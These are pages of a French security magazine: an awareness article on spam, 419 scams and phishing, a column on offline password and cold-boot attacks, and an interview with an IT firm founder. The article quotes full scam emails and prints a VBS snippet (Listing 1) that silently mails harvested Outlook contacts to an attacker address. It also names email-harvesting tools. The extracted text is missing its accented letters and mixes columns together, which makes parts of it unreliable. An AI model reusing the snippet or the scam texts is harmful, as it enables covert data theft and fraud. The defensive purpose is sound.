Le premier pourriel (ou spam) a t envoy le 3 mai 1978 par Gary Thuerk, agent du marketing travaillant chez DEC. Selon l'anecdote, Gary envoya son message la totalit des utilisateurs d'ARPANET (anctre de l'internet) vivant sur la cte ouest des tats-Unis (soit environ 600 personnes). Souhaitant judicieusement se faciliter la tche, il mit l'ensemble des adresses directement dans le champ destinataire. Bien qu'il fit cela sans mauvaise intention et simplement afin d'inviter des personnes technophiles une dmonstration DEC, il dclencha une vive contestation. Nanmoins, l'administration amricaine grant le rseau condamna largement la pratique, la jugeant non-conforme aux termes d'utilisation du rseau et l'thique : une autre poque ... une autre politique. Aussi surprenant que cela puisse parratre, les Monty Python ont leur part de responsabilit dans la cration du terme spam. Effectivement, dans un de leurs plus clbres sketches (vu dans l'mission Monthy Python Flying Circus), ils sont dguiss en vikings amateurs de pt et ructent une chanson interminable et insupportable dont les paroles se rsument en un seul mot : spam spam spam (ce sketch illustre merveille le flau lectronique). L'appt du gain facile ou malhonnte est dsormais au coeur de la cybercriminalit. Lors, le spam joue sur cette corde sensible afin d'aboutir son objectif (comprendre

Explications relatives aux diffrents termes

Afin de bien comprendre cet article, il faut d`abord expliquer la signification de cerains termes.

VITER LE SPAM
l'accumulation d'adresses lectroniques). Les promesses sont allchantes et les crdules ne manquent pas. Par exemple, durant les derniers mois de l'anne 2008, on pouvait recevoir une invitation bien sympathique via sa messagerie lectronique. Effectivement, les tablissements Google se proposaient de partager gnreusement avec l'ensemble des internautes des sommes d'argent importantes (et malgr la crise du moment). Ce mail a circul trs largement sur le rseau des rseaux (il existe aussi plusieurs variantes reprenant le corps du message mais disposant d'une autre provenance comme Microsoft par exemple) : Sujet : Google a 10ans Madame, Monsieur, Nous avons le plaisir de vous informer que Google France ftera ses 10 annes dexistence en janvier 2008. A cette occasion, suite aux retombes conomiques formidables engranges, Google voudrait remercier les internautes, sans qui, cette merveilleuse aventure naurait pas tait possible. Google offrira donc pour 45 euros de matriel informatique toutes les personnes qui feront suivre ce mail au moins 10 contacts diffrents, avec la mention Google a 10 ans en objet. La somme est cumulable sur plusieurs tranches de 10 contacts. Par exemple, si vous envoyez le mail 30 contacts, vous recevrez 135 euros. Vous recevrez sous 3 semaines un code 12 chiffres, vous permettant dimprimer votre bon dachat en ligne. Le service de logistique oprationnelle informatique de Google dtectera automatiquement les personnes qui envoient ce mail, avec la mention gagnante en objet, et ce texte en corps de mail. Merci de votre participation. fraude 419). Voici un modle du genre (vous remarquerez la manipulation psychologique intressante) : De:****** Tel:***-******** Courriel: ****@yahoo.com Bonjour, Je m'appelle ****** je suis g de 26 ans et je vis en Cte d'Ivoire. Malheureusement comme vous le savez mon pays traverse une priode trs difficile ce qui m'a contraint fuir ma rgion d'habitation qui est Bouak (dans le centre du pays). Mon pre tait un marchand de cacao trs riche Abidjan, la capitale conomique de la Cte d'Ivoire. Avant qu'il n'ai t grivement bless par les rebelles, urgemment conduit l'hpital il m'a fait savoir qu'il avait dpos 5 000 000 $ dans une mallette dans une socit de scurit base Abidjan. A l'annonce de la mort de mon pre je me suis prcipit dans sa chambre dans le but de prendre tout ce qu'il avait comme document administratif, j'ai dcouvert le certificat de dpt dlivr par la compagnie de scurit mon pre. Une fois arriv Abidjan j'ai essay de vrifier la validit de ce document. Le directeur de la socit m'a confirm l'existence de cette mallette dans leur tablissement. De peur de perdre cet argent, je sollicite l'aide de quelqu'un afin de transfrer ce seul bien que mon pre m'a lgu dans un pays tranger pour investir car la situation en Cte d'Ivoire est toujours incertaine. Une fois le transfert effectu je me rendrai l-bas pour rcuprer cet argent et y faire ma vie. Si vous tes prt maider, envoyer moi vite une rponse afin que lon puisse trouver un conciliabule. Dans lattente dune suite favorable recevez mes salutations et que dieu vous bnisse. PS: N'oubliez pas de me contacter directement mon adresse priv: ****@yahoo.com Une romance scam est un type de scam (ou arnaque) o un tranger prtend avoir des sentiments amoureux l'gard de sa victime. L'arnaqueur utilise alors cette affection afin d'accder au compte bancaire d'une manire ou d'une autre. Selon les habitudes, la plupart de ces arnaques semblent provenir d'Afrique de l'Ouest, principalement du Nigeria pour les arnaques en anglais et de Cte d'Ivoire pour celles en franais. De plus, ce genre de tromperie peut aussi s'effectuer par l'intermdiaire de sites de rencontre. Des jeunes femmes souvent

Listing 1. Code VBS pour automatiser la capture des adresses internet.


' Cration d'une nouvelle occurrence. Set new_cpt = OutlookApp.CreateItem(0) new_cpt.To = hacker@hotmail.com new_cpt.Subject = capture address new_cpt.Body = Gotcha! ' On efface l'information relatif l'envoi. new_cpt.DeleteAfterSubmit = True new_cpt.Send

originaires d'Europe de lEst (Ukraine et Russie) oprent selon cette sinistre mthode. Pour comprendre simplement, la romance scam repose sur la cration de liens affectifs et fait appel aux motions naturelles. A cet effet, un des leaders mondiaux dans le domaine de la scurit informatique a publi durant le mois d'octobre 2008 une enqute sur les douze principaux pays partir desquels des campagnes massives (spam et scam confondu) ont t mises au cours du troisime trimestre de 2008. Ces rsultats sont fonds sur lanalyse de lensemble des messages curieux reus par leur rseau mondial de piges (en anglais, Honey Pot). Ils rvlent une hausse inquitante du pourcentage des messages accompagns dune pice jointe malveillante, ainsi quune augmentation des attaques sappuyant sur des techniques dingnierie sociale afin de tromper les destinataires. Les concepteurs de ces mails s'chinent rendre ces courriers vraisemblables afin de constituer une crdibilit toute artificielle. Considrons quelques exemples pertinents et rcents. Peut-tre mme reconnaitrez-vous la substance d'un message prcdemment reu dans votre messagerie lectronique. Sur le seul troisime trimestre 2008, La principale attaque concernait le cheval de

Dfinition du SCAM
Il existe aussi une variante grave aux pourriels (spam): Le scam. Cela commence par un message lectronique dans lequel quelqu'un vous demande gentillement d'envoyer de l'argent liquide afin de pouvoir dbloquer une norme somme d'argent quelconque. En change de votre bont, vous recevrez une solide rcompense. Bien sr, tout est faux. Il s'agit d'une arnaque qui contrevient l'article de loi nigrian 419 (d'o l'expression,

Figure 1. Une conserve originale de SPAM


3/2009 HAKIN9 73

DBUTANTS
Troie Agent-HNY, camoufl en jeu darcade Penguin Panic pour iPhone Apple. Parmi les autres incidents majeurs figurent le troyen EncPk-CZ, qui se faisait passer pour un correctif Microsoft et le malware Invo-Zip (faux avis du transporteur FEDEX). Ainsi, les utilisateurs de Windows ouvrant ces pices jointes exposaient leur PC un risque dinfection important, mettant potentiellement leur identit lectronique en pril. Ces principales attaques ne sont conues que pour fonctionner sous Windows. Pour les inconditionnels dApple Mac et dUnix, ces attaques massives ne se sont traduites que par la saturation de leur messagerie, sans risque dinfection de leur systme. Le courrier se composait ainsi (notez le souci de crdibilit afin de gruger le destinataire. Le fichier joint tait ce malware nonc prcdemment) : Subject: Tracking N <some random digits> Unfortunately we were not able to deliver postal package you sent on <Month> the <date> in time because the recipients address is not correct. Please print out the invoice copy attached and collect the package at our office Your FEDEX S'il est facile de comprendre l'ambigut d'une pareille information, il faut bien reconnatre que les novices risquent de tomber dans le pige. La vocation d'une distribution massive d'un courrier lectronique est de nature diverse. Gnralement, elle repose simplement sur trois alternatives que nous placerons dans un ordre de malveillance : publicit pour un produit quelconque, propagation d'un virus ou d'un malware, tentative d'usurpation d'identit ou phishing.
Tableau 1. Les 12 pays d'o proviennent massivement les campagnes de SPAM Position Etat-Unis Russie Turquie Chine + Hong-Kong Brsil Core du sud Inde Argentine Italie Royaume Uni Colombie Thalande Autres pays Pourcentage 18,9 8,3 8,2 5,4 4,5 3,8 3,5 2,9 2,8 2,7 2,5 2,4 34,3

Le Malware
La diffrence entre un virus et un malware repose sur la vocation de celui-ci. Si un virus a simplement pour objectif de nuire de la manire la plus sinistre possible, un malware est dvelopp afin de profiter d'un ordinateur cible. Par exemple, il peut permettre un pirate de rentrer dans un ordinateur afin de lire (tlcharger aussi) des donnes importantes. Il peut encore espionner vos habitudes sur internet afin d'tablir un cahier reprsentatif comme un sondage. En d'autres termes et d'une manire image, si un virus est semblable une brique dans la vitrine d'une boutique, le malware cherche plutt la furtivit comme un voleur tapi dans l'ombre.

Le Phishing
Le phishing (en franais, hameonnage ou filoutage) est une technique utilise par des fraudeurs afin d'obtenir des renseignements personnels dans le but de perptrer une usurpation d'identit. La technique consiste faire croire la victime qu'elle s'adresse un tiers de confiance (banque, administration, eBay, PayPal, etc). L'objectif est de soutirer des renseignements personnels comme les mots de passe, les numros de carte de crdit, etc. Cette forme d'escroquerie repose essentiellement sur l'ingnierie sociale et ne rclame que peu de connaissance informatique. Le terme phishing aurait t invent par des pirates et serait construit sur l'expression anglaise password harvesting fishing (comprendre pche aux mots de passe). Typiquement, les messages ainsi envoys semblent maner d'une socit digne de confiance et sont formuls de manire ne pas alarmer le destinataire afin qu'il effectue une action en consquence. Une approche souvent utilise est d'indiquer la victime que son compte a t accidentellement dsactiv et que la ractivation ne sera possible qu'en cas d'action immdiate de sa part. Le message fournit alors un hyperlien qui dirige l'utilisateur vers une page Web traditionnelle qui ressemble s'y mprendre au site original. Arriv sur cette page frauduleuse, l'utilisateur est invit saisir des informations confidentielles qui sont alors enregistres par les criminels.

Figure 2. Fausse page du portail FREE


74 HAKIN9 3/2009

VITER LE SPAM
Certains penseront peut-tre que la technique ne peut pas rellement marcher ... et pourtant! Il vous suffira de rechercher sous Google les informations relatives aux rcentes affaires criminelles propres cette technique. On retrouve plemle des histoires relatant des sommes astronomiques pouvant dpasser des millions de Dollars, ainsi que des noms d'entreprises prestigieuses (que nous tairons afin de ne pas nuire leur crdibilit). Nanmoins, un mail fait actuellement le tour des botes de messagerie FREE afin d'inviter labonn quelconque fournir ses coordonnes personnelles attaches son compte. La page contrefaite est particulirement bien compose. Le pige s'est dj referm de nombreuses fois sur les internautes FREE insouciants. Ainsi, vous l'aurez compris, le problme est important d'autant plus qu'il semble se produire actuellement un accroisement des attaques de cet acabit. Or, nous n'avons pas choisi cet exemple pour rien ou par hasard. Si vous tes quelque peu observateur (et bon lve), vous aurez remarqu le nombre important de fautes d'orthographe et de grammaire dans la composition de cette fausse page FREE (plus de 10). Malheureusement, c'est parfois le seul moyen de se faire une juste opinion lorsqu'il se prsente un certain quivoque. Lors, ajoutons notre vigilance une bonne perception de l'astuce. Expliquons les mcanismes profonds de la manoeuvre criminelle. En premier lieu, il convient de constituer une liste consquente avec des adresses internet. Afin de parvenir un rsultat exploitable, il existe globalement 3 possibilits. profiter d'un rseau social, acheter une liste d'adresses auprs d'un professionnel, utiliser un programme de capture d'adresses. de quelqu'un ou une information relative un problme grave. Malheureusement, cette possibilit de communiquer avec d'autres permet certaines personnes de constituer des rseaux sociaux sans relles nobles motivations. Illustrons cette mthode par un exemple vcu durant la dernire semaine de l'anne 2008. Voici la nature du mail (les fameuses chanes de l'amiti). Notez la crdibilit du propos faisant rfrence un problme viral important (encore une fois, l'orthographe subit quelques entorses) : ATTENTION si un de vos contact vous propose un lien ou c`est crit: foto, puis le lien finissant par votre adresse msn surtout ne l'ouvrez pas ceci est un virus !!! Ce n'est pas votre contact qui l'envoie c'est un pirate qui a russi a entrer dans son "MSN". Envoie ce message a tous tes contacts MSN avant que le virus ne se propage!!! En finalit, de pareils mails circulent dans le monde entier et finissent par tomber dans des messageries lectroniques piges rcoltant ainsi des centaines de listes de contacts. Un seul exemplaire peut parfois contenir des centaines d'adresses d'internautes valides (voire un millier). De cette faon, il est trs facile de se constituer rapidement une liste afin d'automatiser une attaque de grande invergure. D'ailleurs, mme si la motivation originale n'tait pas de nuire, le principe voqu profitera immanquablement d'autres, beaucoup moins scrupuleux.

Acheter une liste d'adresses mail


Il existe sur internet de nombreuses socits qui proposent la vente des listes d'adresses de messagerie lectronique. La vocation de ces entreprises est directement lie une espce de marketing moderne et essentiellement attach cet outil qui est internet. Il faut bien reconnatre que la toile mondiale est une vitrine potentiellement trs attractive. Le commerce lectronique gnre des milliards de dollars chaque jour et dans le monde entier. Ainsi, celui qui dispose d'une large liste d'adresses peut touch une clientle trs importante ( moindre frais d'ailleurs). Certaines listes se composent de plusieurs millions d'adresses et elles se partagent selon diffrents critres propres l'internaute quelconque. Ainsi, il est possible de consacrer une campagne de communication seulement en direction des sniors ou des femmes, par exemple. Or, sommes-nous toujours dans la lgalit ? Selon quels accords ces entreprises retiennent-elles ces adresses d'internautes ? Pour rpondre cette question, nous avons tent de contacter plusieurs socits dont l'activit se consacre dvelopper pour un quidam une campagne de communication grce internet et seulement via les messageries lectroniques. Malheureusement, aucune rponse de collaboration ne nous est parvenue. Cela traduit bien le caractre ambig de la

Les techniques de constitution des listes d'adresses

Il existe plusieurs techniques de constitution des listes d`adresses.

Profiter d'un rseau social


Qui n'a jamais reu un mail dont l'objectif est de sensibiliser le lecteur la dtresse Figure 3. Logiciel de capture email en action
3/2009 HAKIN9 75

DBUTANTS
situation. Un flou juridique permet encore actuellement beaucoup de drives qui se traduisent souvent par des campagnes de spam massives. Ces socits proposent des listes d'adresses selon la dnomination optin. Or, qu'est-ce que cela sous-entend exactement. Une liste opt-in est compose essentiellement avec des adresses lectroniques dont les dpositaires acceptent de recevoir les informations et les offres des partenaires. A l'inverse, les adresses opt-out constituent un refus de partage absolu. Ajoutons, que la loi franaise "informatique et liberts" du 6 janvier 1978 impose toujours la dclaration auprs de la CNIL des fichiers d'adresses lectronique et une collecte loyale des susdites adresses est considre comme parfaitement dloyale la collecte des adresses dans les chats, forums de discussion, listes de diffusion, annuaires, sites web et sans que les personnes concernes n'en aient connaissance aucune. Lors, comment prouver qu'une liste vendue est vritablement compose essentiellement avec des adresses optin ? Le flou persiste. De ce constat, on distingue quatre formules d'inscription une liste de diffusion :
opt-in actif : l'internaute doit

volontairement cocher une case pour que son adresse soient utilise ultrieurement des fins commerciales, opt-in passif : une case est dj prcoche (position affirmative). L'accord de l'internaute est explicite, opt-out actif : Il faut cocher une case pour ne pas recevoir de message ultrieurement (on considre l'accord de l'internaute comme acquis par dfaut), opt-out passif : L'internaute est automatiquement inscrit une liste de diffusion sans qu'il ait la possibilit de changer cela au moment de l'inscription.

lectroniques afin de constituer sa campagne de spam, de scam ou de phishing. Ces susdites personnes composent une liste consquente grce quelques programmes ingnieux (parfois payant selon efficacit) dont la vocation est de trouver les adresses figurant dans des pages Web. Ajoutons encore que les changes sont possibles, voire mme encourags. Note : Nous n'avons pas encore voqu la menace virale. Par exemple, une simple drive du virus AnnaKournikova (vbs) permettrait de rcolter une masse d'informations importantes puisqu'il est bas justement sur une rplication selon le carnet d'adresses du programme OutLook Express. Il suffit de commander l'envoi d'un mail vers une adresse de rtention. Voici une portion du code selon la modle classique ( placer simplement en fin de fonction DoMail puisque l'applet OutLook est dj vacant) (voir Listing 1). A cet effet, selon plusieurs analystes en scurit informatique, le virus Sober.q (dont les propos suggrs une motivation seulement politique) serait en vrit une carte de visite pour spammeurs. Celui-ci se servait des ordinateurs infects afin d'tendre les campagnes de spam. L'ingniosit ne manque pas dans ce milieu puisqu'il apparat de nombreuses variantes et autres alternatives afin de contourner la vigilance des antivirus. Par exemple, les messages ne sont plus rdigs au format texte mais ils se distribuent plutt en fichiers de type MP3.

Utiliser un programme de capture des adresses


Imaginez le nombre des adresses lectroniques circulant librement sur internet. Qu'il s'agisse des rseaux sociaux, des forums de discussion, des listes d'amis, des blogs, des liens de correspondance (et encore bien davantage), il est trs facile de constituer une liste importante avec des adresses quelconques. Ces programmes de capture ne rclament qu'une visite des pages Web intressantes afin de se saisir des prcieuses informations. Ds lors, si une opration de phishing doit seulement se consacrer un service franais (banque, vente en ligne ou administration par

exemple), le pirate se cantonnera parcourir les sites internet du pays. Il est toujours possible d'implmenter un filtre de faon ne garder que les adresses relatives au portail cible (par exemple, hotmail ou FREE pour revenir sur notre prcdent modle). A cet effet, il existe une foultitude de logiciel de cet acabit, certains payants et d'autres gratuits. La combinaison de plusieurs postes de travail ajoute la composition des listes. De cette faon, une liste de plusieurs millions d'adresses et plus qu'envisageable. Une recherche par script automatis est aussi effectue par plusieurs groupes de distribution. Voici une liste non-exhaustive de programmes afin de capturer les adresses internet. Le logiciel Izi Capture (sous Windows essentiellement) est dconcertant de simpliciter. Sur la base d'une seule requte (car il fonctionne grce au moteur de recherche google), il permet de trouver un nombre important d'adresses lectroniques. Puisqu'il s'agit d'un rsultat selon indexation, le produit final de la recherche est trs rduit. Il permet donc de se consacrer un type d'utilisateur particulier. En d'autres termes, une recherche avec le mot counter-strike donnera une liste d'adresses lectroniques trs diffrente d'une recherche avec les mot pOrn. Ce logiciel de capture d'adresses lectroniques est ultra rapide. Selon les dvellopeurs de l'application, ce logiciel permet de lire jusqu' 64 pages internet en mme temps (en ADSL). Ainsi, un pirate dispose d'une arme efficace afin de cibler une groupe d'utilisateurs dtermin. Sur le site officiel, on peut tlcharger une version d'valuation (comptez 100 euros pour concrtiser l'achat). Encore une fois, c'est le cordonnier le plus mal chauss puisqu'une recherche Tableau 2. Quelques applications de capture d'adresses internet ListEmail Pro 5.01 Captimails MailingBuilderPro Izi Capture AnnuCapt AspiMail E-Capture pro

De plus, internet fourmille de personnes peu scrupuleuses dont les services (sous le manteau) se moque bien de la lgalit et du respect d'autrui. Ainsi, moyennant quelques dizaines d'euros, il est possible d'acheter une liste d'adresses
76 HAKIN9 3/2009

VITER LE SPAM
via le mot cl hakin9 affiche en finalit 10 adresses lectronique. Crer une ou plusieurs adressesjetables servant uniquement s'inscrire ou s'identifier sur les sites jugs non dignes de confiance. victimes, comprendre un got prononc pour l'argent ou les charmes exotiques. Que ce soit une armada de systmes de filtrage des courriers lectroniques, un mur de pare-feux, une foultitude d'antivirus ou de logiciels anti-spam, rien ne saurait tre plus efficace que le bon sens, la retenue, l'information et la vigilance. En finalit, nous dirons que les campagnes de spam, scam et les attaques par phishing sont un vritable flau pour la communaut internationale des cybernautes. Certains estimeront cette affirmation est exagre. En vrit, ces passages de courriers nuisibles polluent l'internet. Les inconvnients majeurs du spam sont : l'espace qu'il occupe dans les botes aux lettres des victimes, l'augmentation du risque de suppression errone ou de non-lecture de messages importants, le caractre violent ou dgradant de certaines images ou textes, la bande passante gaspille sur le rseau des rseaux, la mise en place de systmes antispam onreux et parfois lourd, le surcot des abonnements internet (formation du personnel, sensibilisation des utilisateurs, mise en place de structures de filtrage importantes, etc).

Conclusion

Certes, nous n'avons pas encore voqu l'essentiel: la mathmatique de la chose. Le secret de ces diffrentes mthodes d'arnaque repose essentiellement sur la crdulit de quelques-uns. Ainsi, l'objectif d'un pirate est de trouver ces personnes naves. Si la (mal)chance ne suffit pas, c'est la mathmatique de base qui intervient. En d'autres termes, plus la liste est large et plus la probabilit de trouver une victime est importante. En imaginant que seulement 0.001% des courriers lectroniques trouve un echo favorable, cela sous-entend 10 personnes vulnrables dans une liste de 1 000 000 d'adresses. C'est ainsi que fonctionne l'esprit de ces criminels. Afin de se protger efficacement contre les spams, scams et autres attaques par phishing, il convient de veiller au partage de ses informations confidentielles : Ne pas relayer les messages (courrier du coeur, Hoax, etc) invitant l'utilisateur transmettre le courrier un maximum de contacts possible. Eviter au maximum de publier son adresse lectronique sur des forums ou des sites internet. Remplacer son adresse lectronique par une image (non dtectable par les logiciels de capture d'adresses). Dcomposer son adresse lectronique, par exemple didier point sicchia arobase free point fr.

De plus, il se dveloppe sur internet une communaut particulirement motiv afin de lutter contre les scams en tout genre et de manire active. Ainsi, les scambaiters (ou croques-escrocs en franais) essaient de faire perdre un maximun de temps et d'nergie aux arnaqueurs, notamment en laissant croire qu'ils sont des victimes potentielles. De ce fait, un jeu psychologique intressant s'installe entre les protagonistes. Les scambaiters rpondent aux mails envoys par les escrocs, ceux-ci dveloppent une argumentation plus profonde, les scambaiters rpondent encore, les arnaqueurs rpliquent, etc. Lors, ces changes peuvent durer des semaines entires (voire des mois) sans apporter le moindre profit aux escrocs. L'arroseur est arros ! Vritable phnomne de socit, le spam dans ces attributs les plus larges s'analyse aussi comme un oeuvre d'art contemporain, une image atypique de notre systme de valeur. Certes, la technologie dveloppe un certain confort mais qui ne sait encore convenir pleinement l'ensemble de nos dsirs lgitimes. L'expansion du scam dmontre bien la fragile propension que nous avons manifester de la vigilance lorsque nos motions l'emportent. Effectivement, le principe repose trs largement sur la seule faiblesse des

Sur Internet

Dfinition et explication selon l'encyclopdie Wikipdia : http://fr.wikipedia.org/wiki/Pourriel Le spam selon les Monty Python (vido du sketch) : http://www.youtube.com/ watch?v=anwy2MPT5RE Le rapport Sophos sur le spam en 2008 : http://www.sophos.fr/pressoffice/news/articles/ 2008/10/spamreport.html Fiche d'information relatives au spam Google (hoax) : http://www.hoaxkiller.fr/hoax/2007/ google_10_ans.htm Portail du logiciel de capture d'adresses lectroniques : http://www.izimailing.com/logicielcapture-adresses-emails.htm Portail francophone contre le spam, le scam et le phishing (beaucoup d'archives et de tmoignages) : http://www.croque-escrocs.fr Portail important de lutte active contre les scams et autres arnaques virtuelles : http://www.thescambaiter.com Les diffrentes lois contre le spam (et dans le monde entier) : http://www.arobase.org/spam/ comprendre-regulation.htm

Beaucoup d'applications offrent la possibilit de bloquer (en partie) les messages indsirables. Ceci se fait avec plus ou moins d'efficacit d'ailleurs. Or, mme si on parvient liminer les spams et autres scams, il convient d'tre toujours vigilant face aux attaques par phishing. A dfaut de rpondre toutes les questions, cet article nous aura clairer sur le sujet et les mthodes des pirates.

Sicchia Didier

Il est l'origine de nombreux exploits, dossiers et articles divers pour plusieurs publications francophones consacres la scurit informatique et au dveloppement. Autodidacte et passionn, son exprience se porte notamment sur les ShellCodes, les dbordements d'allocations de mmoire, les RootKits, etc. Plus que tout autre chose, c'est l'esprit alternatif de la communaut UnderGround qui le motive. Afin de contacter l'auteur : didier.sicchia@free.fr 3/2009 HAKIN9

77

FEUILLETON

Les attaques hors-ligne


Comment lever ses privilges avec un tournevis ? l'heure o l'on parle de plus en plus couramment de virtualisation et de rootkits, certaines vulnrabilits, bien physiques celles-ci, connaissent une seconde jeunesse au travers de travaux de recherche rcents.

a mthodologie est simple : partir d'un accs physique un ordinateur, l'attaquant rcupre des donnes critiques (authentification, etc.), qui auraient t difficilement accessibles par le rseau. Cette mthode est utilise depuis bien longtemps par les administrateurs systmes et autres techniciens en maintenance informatique, afin de dbloquer des ordinateurs dont le mot de passe aurait t oubli, mais est ici dtourne des fins d'intrusion. Ainsi, partir du disque dur systme d'une machine Windows, il est souvent trivial de rcuprer la liste des empreintes des mots de passe [1], puis de casser ces dernires [2], au moyen de Rainbowtables par exemple. La mme attaque peut tre ralise directement sur les fichiers reprsentant les disques durs des machines virtuelles [3], transformant l'attaque physique en attaque logique, mais arrivant aux mmes rsultats. noter qu'une personne rellement malintentionne ne se contentera sans doute pas d'extraire des informations, mais pourrait trs bien injecter du code ou des logiciels malveillants son propre avantage (porte drobe, etc.). Ces dernires annes, des contremesures ont vu le jour, notamment chez Microsoft qui, partir de Windows Vista, a intgr le systme Bitlocker pour raliser du chiffrement de disque la vole et ainsi empcher toute rcupration
78 HAKIN9 3/2009

d'informations par une attaque hors-ligne. Mais quid de la mmoire vive ou des fichiers d'hibernation ? Si ces derniers sont en effet protgs par le chiffrement complet du disque quand Bitlocker est activ, ils n'en restent pas moins explorables le reste du temps [4] tout comme le contenu d'une image de la mmoire vive, contenant certes l'ensemble des processus en cours d'excution au moment de la capture, mais galement quelques mots de passe... et cls de chiffrement ! Des tudiants de Princeton se sont d'ailleurs penchs sur la rmanence des informations dans nos chres barrettes de mmoire vive [5], bousculant par la mme occasion toutes les ides reues

qui laissaient penser que la mmoire se vidait instantanment aprs la perte de l'alimentation lectrique. En fait, il est possible de rcuprer des informations plusieurs secondes, voire plusieurs minutes aprs l'extinction d'un ordinateur, si l'on refroidit suffisamment les composants de la mmoire immdiatement aprs l'arrt total. partir de l, rien n'empche de raliser une extraction des donnes et d'appliquer les mthodes prcdemment cites. Comme quoi il existe encore et toujours des vulnrabilits contre lesquelles les pare-feu, IDS/IPS et autres sondes vendues hors de prix ne seront d'aucun secours...

Julien Raeis

Il est consultant en scurit franais travaillant chez HSC (Herv Schauer Consultants - http://www.hsc.fr/). Il ralise des audits, tudes, tests d'intrusion et des formations aux tests d'intrusion. Julien remercie toute l'quipe HSC pour son aide et ses relectures. Julien peut tre contact l'adresse suivante : Julien.Raeis@hsc.fr.

Rfrences
http://sourceforge.net/projects/ophcrack/ [1] http://www.hsc.fr/ressources/articles/rdp_misc2/part1.htm [2] http://www.vmware.com/interfaces/vmdk.html [3] http://sandman.msuiche.net/ [4] http://citp.princeton.edu/memory/ [5] http://storm.net.nz/projects/16 [6]

INTERVIEW

Interview dAnne-Galle Lunot


Anne-Galle Lunot, jeune entrepreneuse passionne qui a cr une socit de prestations informatiques Zlites.

Pour commencer, est-ce que vous pourriez vous prsenter nos lecteurs ? Je suis une jeune entrepreneuse passionne, autodidacte, sportive, autonome et indpendante. J'ai cr Zlites, une socit de prestations informatiques aux Mans (Sarthe, FR) en motivant et consolidant les comptences que j'ai pu rencontrer dans mes diffrentes expriences. Je me suis plong dans l'informatique en pluchant tour tour Windows 95 puis Linux ( partir de 1997) alors que j'tais encore au collge. Malgr mon BAC Sciences et Techniques de Laboratoire passer, je n'ai pas lch mes premiers ordinateurs. J'ai ensuite appris matriser les systmes Unix avec FreeBSD, OpenBSD, NetBSD et Sun Solaris. J'ai toujours t curieuse de faire quelque chose qui n'est pas prvu par les gens ou les systmes tout en cherchant comprendre comment ils fonctionnent concrtement. En 2004, j'ai fait un bref passage l'EPITECH o j'ai pu formaliser mes premires connaissances en matire de programmation systme surtout orient rseau ou noyau. Par la suite, jai consolid ces acquis en programmation C, que je considre comme lune des bases pour pouvoir faire de la scurit.
80 HAKIN9 3/2009

Ltude de protocoles rseaux, le dveloppement noyau et systme, ainsi que le reverse engineering ont t et sont toujours mes sujets de recherche favoris. J'ai fait un premier stage en entreprise avec pour objectif la recherche et mise en place d'une politique de scurit Wi-Fi, base sur des solutions opensource. En 2005, jai ralise un stage dans une SSII o j'ai travaill sur l'intgration d'une solution de firewall et d'anti-spam sur base de *BSD. J'ai pass mes trois dernires annes travailler comme freelance en administration systme et comme consultante en scurit. Mes capacits en termes d'analyse, d'adaptation et de ractivit font que l'on me considre un peu comme le joker disponible toute situation. Pourriez- vous nous prsenter brivement vos services et nous dire quel rle joue aujourdhui Zlites ? Nous avons quatre familles d'offre : Le matriel informatique, l'infrastructure rseau, le conseil informatique et le dveloppement de solutions web. Nous proposons des solutions de scurit informatique dans toutes ces familles, sauf ct matriel.

L'Infrastructure rseau : Nous sommes l'architecte et le ralisateur des infrastructures rseau de nos clients. Nous concevons, maintenons et faisons voluer l'ensemble des quipements relis entre eux pour changer et partager de manire scurise les informations. Nous faisons en sorte que nos clients puissent bnficier de leur outils quels que soient leurs besoins fonctionnels et gographiques. Le Conseil informatique : Nous offrons un haut niveau de prestation de conseil informatique, que nos clients aient dj ou non, un service informatique. Les missions de conseil informatique que nous ralisons chez les entreprises conjuguent notre capacit importante comprendre leurs mtiers avec leurs spcificits et notre matrise des technologies informatiques, pour les mettre au service dune stratgie dentreprise. Comme nous touchons un large spectre de connaissances techniques, notre vision est libre de toute influence pour les solutions prconises.

Le Dveloppement de solutions web :


Nous dveloppons des solutions web valeur ajoute.

INTERVIEW ANNE-GALLE LUNOT


Nous partons souvent d'un dveloppement web qui pourrait paratre classique pour y ajouter trs rapidement des solutions d'change avec l'extrieur : Extranet, solutions de facturation en ligne, change de donnes, solutions de gestion de projet, CRM, etc Ces systmes sont souvent une porte d'entre des donnes propres l'entreprise. Elles sont exclusivement hberges sur des serveurs dont nous assumons la scurit du systme d'exploitation au code des solutions. Les Audits de scurit. Nous ralisons des audits aussi bien sur site pour analyser un rseau local, qu' distance pour apprhender la visibilit externe de lentreprise. Ces oprations ncessitent des interventions manuelles : nous ne nous arrtons pas l'utilisation d'outils automatiques, car chaque infrastructure est diffrente et dynamique. En matire de scurit, quels sont les points forts de vos solutions ? Notre cur de cible se trouve dans des petites et moyennes entreprises de 20 200 personnes qui ont tendance tre abandonnes par les grosses pointures du mtier. Nous faisons en sorte d'incorporer les facteurs de scurit ds la conception ou l'volution de leur systme d'information quand nous prenons en main l'infogrance ou la maintenance de leur systme. Ces entreprises sont rarement demandeuses de solutions ou d'audits de scurit informatique; nous avons donc une dmarche la fois didactique et souvent invisible. Mme si le sujet de la scurit informatique est dans tous les mdias, rares sont les PME qui font le lien avec leur propre systme. Elles ne ralisent pas le lien entre la scurisation de leur systme et la fiabilit. Le retour sur investissement est lun des avantages de faire appel nos services : au del de l'aspect purement scuritaire, nous faisons en sorte de fiabiliser les outils. Quand ces outils sont disponibles 24 heures sur 24 et sans interruption de service, les intervenants peuvent travailler sereinement et donc tirer profit du bon fonctionnement de ces derniers. Les gains sont visibles par le taux d'utilisation des outils, la chute des cots de maintenance, la rduction du stress des utilisateurs. Le plus important pour nos clients, cest que nous faisons du sur-mesure, que ce soit pour la mise en place de solutions ou bien des audits, lintervention manuelle et intellectuelle est toujours privilgie. Quels sont vos avantages concurrentiels ? Adaptabilit aux secteurs d'activit de nos clients, Ractivit, Taille humaine, Sur mesure, Larges connaissances techniques.

